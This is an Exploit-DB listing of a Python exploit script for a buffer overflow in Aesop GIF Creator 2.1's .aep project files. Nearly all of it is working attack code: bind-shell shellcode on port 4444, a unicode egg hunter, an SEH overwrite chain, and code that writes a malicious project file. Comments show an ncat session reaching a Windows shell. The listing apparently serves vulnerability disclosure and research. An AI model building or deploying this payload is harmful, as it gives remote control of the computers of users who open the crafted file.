Aesop GIF Creator <= 2.1 - (.aep) Buffer Overflow Exploit



EDB-ID: 15747 CVE: N/A OSVDB-ID: 69978
Author: xsploitedsec Published: 2010-12-16 Verified: Verified
Exploit Code:   Download Vulnerable App:    Download

Rating

(0.0)
Screenshot
Prev Home Next
# !/usr/bin/python
# Exploit Title: Aesop GIF Creator <= v2.1 (.aep) Buffer Overflow Exploit
# Date: 12/15/2010
# Author: xsploitedsec
# URL: http://www.x-sploited.com/
# Contact: xsploitedsec [at] x-sploited.com
# Software Link: http://www.yukudr.com/_h84561/aesop_setup.exe
# Vulnerable version: <= v2.1
# Tested on: Windows XP SP3 Eng
# CVE : N/A

#### Software Description:
# Aesop is a powerful tool that allows you to create animated GIF images (banners, buttons, labels and headings)
# for your website and even GIF wallpapers for your mobile phone quickly and easily (click to see samples). You
# can use an antialiased 3D-Text, shapes (rectangles, rounded rectangles, ellipses and polygons) and external
# pictures for drawing in your GIF.
# Convenient interface.
# Unicode support - you can use national characters as Text in your GIF.
# An excellent antialiasing technique (blurring the edges between color transitions) to draw 3D-Text and shapes: 
#### Exploit information:
# Aesop is prone to a buffer overflow when handling a malicious aesop project files. The vulnerability
# is due to improper bounds checking of the "Picture=" field which can be exploited by malicious people to
# compromise a users system.
#### Other information:
# I attempted to reach out to the vendor about this but after a few short emails it became clear that they
# had no interest in verifying it/coordinating a fix so here's the exploit.
#### Notes:
# I always knew that one day I would end up needing to deal with unicode buffers. After a couple nights of
# tinkering around this is the end result. P.S. - When all else fails->Fail harder
#### Shoutz:
# kAoTiX, Sheep, Tu, edb-team, corelan team, packetstormsecurity and all other security researchers and sites.
# -> A big thanks goes to corelanc0d3r for shedding some light on the subject of unicode exploits. ;)

import struct
import sys

about = "\r\n==================================================================\n"
about +=  " Title: Aesop GIF Creator <= v2.1 (.aep) Buffer Overflow Exploit PoC\n"
about +=  " Author: xsploitedsec\n URL: http://www.x-sploited.com/\n"
about +=  " Contact: xsploitedsecurity [at] x-sploited.com\n"
about +=  "=================================================================="
print about

# root@bt:~# msfpayload windows/shell_bind_tcp lport=4444 lhost=0.0.0.0 EXITFUNC=seh R
# | msfencode -e x86/alpha_upper -c 1 -t c -b '\x1a\x19\x0a' > /tmp/aesop.txt
# [*] x86/alpha_upper succeeded with size 752 (iteration=1)
#
# root@bt:~# ncat 10.0.1.16 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
# C:\>

# Unmolested, ASCII shellcode buried in stack ftw!?
bindshell = (
"\xda\xca\xd9\x74\x24\xf4\x58\x50\x59\x49\x49\x49\x43\x43\x43"
"\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41"
"\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"
"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b\x39\x43\x30\x43"
"\x30\x43\x30\x43\x50\x4d\x59\x4d\x35\x50\x31\x4e\x32\x42\x44"
"\x4c\x4b\x51\x42\x50\x30\x4c\x4b\x46\x32\x44\x4c\x4c\x4b\x50"
"\x52\x44\x54\x4c\x4b\x44\x32\x47\x58\x44\x4f\x48\x37\x50\x4a"
"\x47\x56\x50\x31\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x47\x4c\x45"
"\x31\x43\x4c\x44\x42\x46\x4c\x47\x50\x4f\x31\x48\x4f\x44\x4d"
"\x43\x31\x48\x47\x4d\x32\x4c\x30\x50\x52\x51\x47\x4c\x4b\x51"
"\x42\x42\x30\x4c\x4b\x47\x32\x47\x4c\x43\x31\x48\x50\x4c\x4b"
"\x47\x30\x44\x38\x4c\x45\x4f\x30\x43\x44\x50\x4a\x43\x31\x48"
"\x50\x46\x30\x4c\x4b\x51\x58\x44\x58\x4c\x4b\x51\x48\x51\x30"
"\x43\x31\x4e\x33\x4a\x43\x47\x4c\x47\x39\x4c\x4b\x50\x34\x4c"
"\x4b\x45\x51\x4e\x36\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c"
"\x4f\x31\x48\x4f\x44\x4d\x43\x31\x48\x47\x50\x38\x4b\x50\x42"
"\x55\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51\x34"
"\x42\x55\x4a\x42\x50\x58\x4c\x4b\x46\x38\x51\x34\x45\x51\x48"
"\x53\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x58\x45\x4c"
"\x43\x31\x4e\x33\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x48\x50\x4c"
"\x49\x47\x34\x46\x44\x47\x54\x51\x4b\x51\x4b\x45\x31\x46\x39"
"\x51\x4a\x50\x51\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x51\x4a\x4c"
"\x4b\x42\x32\x4a\x4b\x4c\x46\x51\x4d\x43\x58\x47\x43\x46\x52"
"\x45\x50\x45\x50\x45\x38\x43\x47\x44\x33\x47\x42\x51\x4f\x51"
"\x44\x43\x58\x50\x4c\x42\x57\x46\x46\x43\x37\x4b\x4f\x49\x45"
"\x4f\x48\x4a\x30\x43\x31\x43\x30\x45\x50\x51\x39\x49\x54\x51"
"\x44\x46\x30\x43\x58\x51\x39\x4b\x30\x42\x4b\x43\x30\x4b\x4f"
"\x4e\x35\x46\x30\x46\x30\x50\x50\x50\x50\x47\x30\x50\x50\x51"
"\x50\x50\x50\x45\x38\x4a\x4a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f"
"\x4e\x35\x4b\x39\x48\x47\x46\x51\x49\x4b\x51\x43\x45\x38\x44"
"\x42\x45\x50\x42\x31\x51\x4c\x4b\x39\x4b\x56\x42\x4a\x44\x50"
"\x51\x46\x46\x37\x45\x38\x49\x52\x49\x4b\x50\x37\x45\x37\x4b"
"\x4f\x4e\x35\x46\x33\x51\x47\x43\x58\x48\x37\x4a\x49\x47\x48"
"\x4b\x4f\x4b\x4f\x4e\x35\x50\x53\x46\x33\x46\x37\x42\x48\x43"
"\x44\x4a\x4c\x47\x4b\x4d\x31\x4b\x4f\x4e\x35\x50\x57\x4b\x39"
"\x49\x57\x42\x48\x44\x35\x42\x4e\x50\x4d\x45\x31\x4b\x4f\x49"
"\x45\x45\x38\x43\x53\x42\x4d\x45\x34\x43\x30\x4c\x49\x4b\x53"
"\x50\x57\x50\x57\x51\x47\x46\x51\x4a\x56\x43\x5a\x45\x42\x50"
"\x59\x50\x56\x4d\x32\x4b\x4d\x43\x56\x48\x47\x51\x54\x47\x54"
"\x47\x4c\x43\x31\x43\x31\x4c\x4d\x51\x54\x51\x34\x44\x50\x4f"
"\x36\x43\x30\x51\x54\x50\x54\x46\x30\x46\x36\x46\x36\x46\x36"
"\x51\x56\x50\x56\x50\x4e\x50\x56\x50\x56\x50\x53\x46\x36\x43"
"\x58\x44\x39\x48\x4c\x47\x4f\x4d\x56\x4b\x4f\x49\x45\x4c\x49"
"\x4d\x30\x50\x4e\x46\x36\x47\x36\x4b\x4f\x46\x50\x42\x48\x43"
"\x38\x4b\x37\x45\x4d\x43\x50\x4b\x4f\x48\x55\x4f\x4b\x4b\x4e"
"\x44\x4e\x46\x52\x4b\x5a\x43\x58\x4e\x46\x4c\x55\x4f\x4d\x4d"
"\x4d\x4b\x4f\x48\x55\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4b\x30"
"\x4b\x4b\x4d\x30\x43\x45\x43\x35\x4f\x4b\x47\x37\x45\x43\x43"
"\x42\x42\x4f\x42\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35\x45\x5a"
"\x41\x41"
);

# unicode encoded, egg="w00t"
egg_hunter = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ"
"1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AY"
"AZBABABABAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ44J"
"O7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA"
);

# aesop project file header
prj_header = (
"\x5B\x41\x65\x73\x6F\x70\x20\x50\x72\x6F\x6A\x65\x63\x74\x20\x46\x69\x6C"
"\x65\x20\x76\x2E\x32\x2E\x30\x5D\x0D\x0A\x7B\x50\x69\x63\x74\x75\x72\x65"
"\x3D"
);

#hunter tag ="w00tw00t"
egg = "\x77\x30\x30\x74\x77\x30\x30\x74"; 
seh_offset = 669;

# Begin payload buffer
payload = "\x41" * seh_offset;
# NSEH
payload += "\x61";                        #popad
payload += "\x73";                        #nopalign/add byte ptr [ebx],dh
# SE handler
payload += "\xB1\x42";                    #unicode compatible p/p/r - Aesop.exe (universal)
# Prepare/jump->EAX
payload += "\x73";                        #venetian/add byte ptr [ebx],dh
payload += "\x55";                        #push ebp
payload += "\x73";                        #venetian/add byte ptr [ebx],dh
payload += "\x58";                        #pop eax
payload += "\x73";                        #venetian/add byte ptr [ebx],dh
payload += "\x05\x19\x11";                #add eax, 0x19002200h
payload += "\x73";                        #venetian/add byte ptr [ebx],dh
payload += "\x2d\x11\x11";                #sub eax, 0x12007200h
payload += "\x73";                        #venetian/add byte ptr [ebx],dh
payload += "\x50";                        #push eax
payload += "\x73";                        #add byte ptr [ebx],dh
payload += "\xc3";                        #ret

payload += "\x41" * 242;                  #align egghunter with->(ebp+650)
payload += egg_hunter;
payload += "\x41" * 1000;                 #give shellcode some breathing room

payload += egg;
payload += bindshell;

payload += "\x44" * (5000-len(payload)); #junk padding
# End payload buffer

xsploitme = (prj_header + payload);
print("\n[*] Creating file->xsploited.aep");

try:
	out_file = open("xsploited.aep",'w');
	out_file.write(xsploitme);
	out_file.close();
	print("[+] xsploited.aep created successfully");
	print("[*] 1. Launch the file or open it via Aesop.exe");
	print("[*] 2. Wait a sec for egghunter and netcat in :)\n[-] Exiting...\r");
except (IOError):
	print("[!] Error creating file\n[-] Exiting...\r");